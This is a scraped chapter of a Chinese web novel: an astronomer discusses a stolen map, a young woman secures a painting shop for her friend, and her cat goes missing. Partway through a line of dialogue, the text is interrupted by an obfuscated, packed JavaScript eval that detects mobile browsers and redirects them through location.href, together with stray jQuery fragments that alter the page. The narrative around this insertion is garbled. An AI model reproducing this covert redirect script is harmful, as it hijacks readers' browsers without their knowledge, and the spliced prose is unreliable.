默认冷灰
24号文字
方正启体

8. 第8章

作者:时熠枝本书字数:K更新时间:
    风轻轻吹着,窗半开,几片雪花顺着窗飘落在桌上的火炉上,瞬间便融化了。炉里煮着茶,茶香扑冽。


    有人站在桌前滔滔不绝。


    叶修文在屋内走来走去,将刚刚七十二画师斗画的场景仔仔细细讲了,那位披着白披风的姑娘是如何拳打脚踢一位画肆师傅的,又是如何激将那位师傅赌上自家画肆来和她比试改画的,也一一讲述清楚。


    “可我就是没想明白,那姑娘为什么要让那画肆师傅先画?”


    叶修文叫住了那个姑娘,她却没有回答他,笑笑便径自离开了。


    桌前坐着一个青年,眉目俊朗,神情懒倦,身披黑狐裘,低头在纸上写着什么,不知道叶修文讲了这么多,他听见了几句。


    “怀霜,你有没有在听我说话?”半晌,没等到那青年的回应,叶修文皱眉道。


    天文历算之学自古以来遵循世业相传,叶修文和宿怀霜从孩童时期开始便一同学习,是以他二人于外人看来是监正同副手的关系,私下里相处却更像朋友。


    “她不想让郑人杰碰她的画。”宿怀霜头也没有抬,手中笔不停,“也许,那根本不是她的画。”


    这是半个时辰里他说的唯一一句话。


    叶修文思忖了半晌,这该是唯一一种可能,激动道:“对啊!怀霜你真厉害,不在当场居然都能将她的心思猜得明明白白。”


    宿怀霜笑了笑:“不敢,你才真是厉害。在当场都能让县主把那图带走。”


    叶修文被这突如其来的阴阳怪气噎得说不出话来,半晌,不好意思地道:“我当下就封锁了凌霄楼,一一查看画卷,明明见着将画放了进去,可是怎么就没有呢?”


    宿怀霜道:“封锁凌霄楼?”叶修文刚刚只说了斗画,却没提封锁凌霄楼,将斗画提前了一天这件事。


    叶修文道:“是啊,差点没封成。那个姑娘质问我让斗画提前是不是坏了规矩,我可是将你的派头学了十成十,学你常说的那几句话,总算搪塞过去。”


    宿怀霜继续低头写字,对于叶修文借他的名号行事一事不甚在意。


    宿怀霜此人,就是一个懒字。世人猜测他到底为什么不当太傅,是不是朝堂上有什么宿敌,避其锋芒?又或者是不是想要在窥探天意一事上独断?


    宿怀霜从不解释,从不在意。


    叶修文从小和他一起长大,知道他只是懒。懒得管繁琐政务,懒得理复杂人事。


    连在意都懒得在意。


    这次堪舆图的事,叶修文也没看出他有多在意,倒是自己急得很。


    宿怀霜作为钦天监监正,不时会在国子监授课。县主来问过他几句关于算数的问题,可是竟然偷了幅堪舆图。这件事可大可小,既可是国事,也可是家事。要不是宿怀霜禀告皇上,皇上说此事当作家事处理,叶修文自己根本放不下心来。


    宿怀霜淡淡道:“县主有什么奇怪的举动么?”


    叶修文道:“奇怪的举动……哦!她临走的时候对那位姑娘说了一句多谢。”


    ……


    第二天清晨,雪已经停了,天气晴好。


    沈为青的心情也很好,天刚刚亮的时候她便出门了,回来的时候抱了厚厚一叠画纸,是最普通的那种画纸。她要重新开始习画,用不着那样好的画纸。


    程玉亭的住处后面有一片小空地,沈为青搬了个凳子坐,拿着手中的小鱼干,逗墨墨。


    墨墨不停跳高,总是差一点。


    沈为青笑笑,给了它一条。


    突听一人道:“为青,昨天我没去是因为……”


    程玉亭起床了,手中握着那幅画卷,不知何时站在了她身后。


    沈为青停下手中动作,笑笑道:“你不需要跟我解释。”


    程玉亭咬了咬嘴唇,脸红了,道:“你是不是在怪我?”


    沈为青笑道:“怪你什么?怪你画了幅好画,替你替我赢了一间画肆?赢了七十二画师的席位?”


    程玉亭怔了半晌,道:“我不知道自己能不能担得起一个画肆老师的重任……”


    沈为青笑笑,并不接话,道:“咱们去瞧瞧马师傅去,这次他总不会再闭门不见。”


    程玉亭心中一跳,她正因自作主张画了幅画参加斗画而心虚,何况还骗了宁师兄,她哪里敢去见师父。可她因昨天没听沈为青的去斗画已觉得亏欠了她,今天沈为青这样说,她再不能拒绝。


    走到马家画肆门口,宁熙正洗完砚台,将洗砚的水轻轻泼到庭院里的梅树根下,看见沈为青吓了一跳,用手指着沈为青“你你你……”半晌,不知道接下来说什么。


    沈为青见状嘻嘻一笑,径直走进屋子里,程玉亭踌躇半晌,也跟了进去。


    只见马念勤正坐在桌前盯着他送去斗画的那幅画发呆,脸色苍白,见两人走进来,眉头一皱。


    马念勤脸色变得铁青,道:“你们来干什么?”


    沈为青笑嘻嘻道:“咦?马师傅忘了?您昨日不是说将马家画肆给我?”


    程玉亭闻言脸色一白,不知道该说什么劝阻。


    宁熙跟着两人进来,听闻此言跳起来道:“你你你!你骗了我不说,还要骗师父的画肆?”


    沈为青笑道:“马师傅没有入选七十二画师,收不了学徒,可是这里有人入选了,若这人接管马家画肆,未尝不是一件好事。”


    马念勤看了程玉亭一眼,见她低着头不敢看自己,冷哼一声道:“玉亭出息了,找了一位好师父,当日我说不再当你的师父,这话说得还是晚了些,若是早点说,你早都自立门户了。”


    “师……马师傅……”程玉亭嗫嚅道。上次见师父他已经跟自己说得很清楚,自己不再是他的学生,“不是这样的,我哪里有自立门户的本事?”


    沈为青听着二人对话,叹了口气,道:“你的确没这个本事。”


    马念勤眉头皱得更紧,这个姑娘一会儿说要接管马家画肆,一会儿又说程玉亭没这个本事,颠三倒四,不知道她到底想干什么,他十分护犊子,下意识没好气地对沈为青道:“你对玉亭没信心?”


    沈为青看着程玉亭道:“你对自己有信心么?”


    程玉亭蓦地抬头看向沈为青,又更深地将头埋下。


    沈为青道:“马师傅给了你两次机会,可你一次都没把握住。你不相信你自己,不相信马师傅的眼光,也不相信我的眼光,这次你的画被画院老师选中,你也不相信画院老师的眼光


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359953|199745||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,你如此心性,如何能当老师?”


    老师是要让学生相信自己,连自己都不相信自己能教好画好,那学生也是如此。


    程玉亭怔了怔,似被一道闪电劈中,久久没有缓过神来。


    马念勤叹了口气,明白了沈为青的用意,对沈为青道:“沈姑娘,你这是在骂她,还是在骂我?”


    沈为青笑笑不说话。


    马念勤对程玉亭道:“玉亭,从前是我迂腐,不让你画猫,还不停斥责你,所以才把你养成了这样自卑的性格。我在斗画的时候看到你的画,才知道是我害了你。”


    沈为青心想:你知道就好。


    程玉亭跟着马念勤学画已久,知道这些话对马师父来说有多难说出口,眼泪蓄在眼眶之中,就要落下。


    马念勤道:“从此我的画肆就交给你。”


    程玉亭道:“什么?”


    马念勤道:“我年纪大了,何况正如沈姑娘所说,你的画被画院选中,你才是有资格收徒的那一个。”


    沈为青笑道:“那好呀。只是马师傅,她一人忙不过来,你总是会帮她的吧?”


    马念勤是刀子嘴豆腐心,见程玉亭的画得到画院欣赏,心中本也是开心的,只是面子上过不去。被沈为青这样一闹,师徒二人之间的嫌隙解开,说话也柔和了许多,道:“自然。”


    沈为青拍手笑道:“那便是皆大欢喜了。现在只剩郑人杰的画肆没人要了。玉亭,他的画肆我要了,成不成?”


    程玉亭道:“这画肆本就是你赢下的,当然归你,只是听说那人经常虐猫,你在他的画肆里,不会觉得害怕么?”


    宁熙撇撇嘴。这个姑娘天不怕地不怕,鬼神更是不怕,就算有鬼,也是鬼怕她。


    沈为青笑道:“有地方住,还有什么可挑的。至于肮脏龌龊,那是人的问题,不是屋子的问题。我好好打扫就好了。”余光正好瞥见宁熙撇嘴,笑着对宁熙道:“宁公子怎么这样看我,难道想帮我打扫?”


    宁熙连连摆手道:“我可不敢。”谢天谢地,这姑娘自立门户,他只求之后再别跟这姑娘打交道。


    沈为青道:“不过我想看看画肆大概是如何修葺的,免不了要改动,马师傅我能仔细看看你的画肆么?”


    “当然。”


    等两人回家,天色已经很晚,沈为青拿了张寻常的纸一笔笔落下。


    现在画肆的问题已经解决,但最重要的画力的问题就只能自己慢慢练习了。


    一张张画过,天色越来越晚。


    她伸手向自己身后摸去,没有摸到熟悉的温暖柔软的毛发,那是墨墨最爱躺着的位置。一人一猫背靠着背,可如今却摸了个空。


    沈为青怔了怔,全身的血液瞬间冰凉。


    墨墨不喜欢在房子里拘着,她便也不关它,总归它晚上会自己扒拉门,她听到声音便会放它进门。


    可是她今天一整天都没有见到墨墨。


    “你的小猫断尾了是么,我记住了。”


    郑人杰狰狞油腻的脸出现在她脑海之中,沈为青手不自觉地颤抖起来,披上披风就往外走。


    程玉亭刚洗漱完,见状忙问:“你去哪儿?”


    “墨墨不见了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)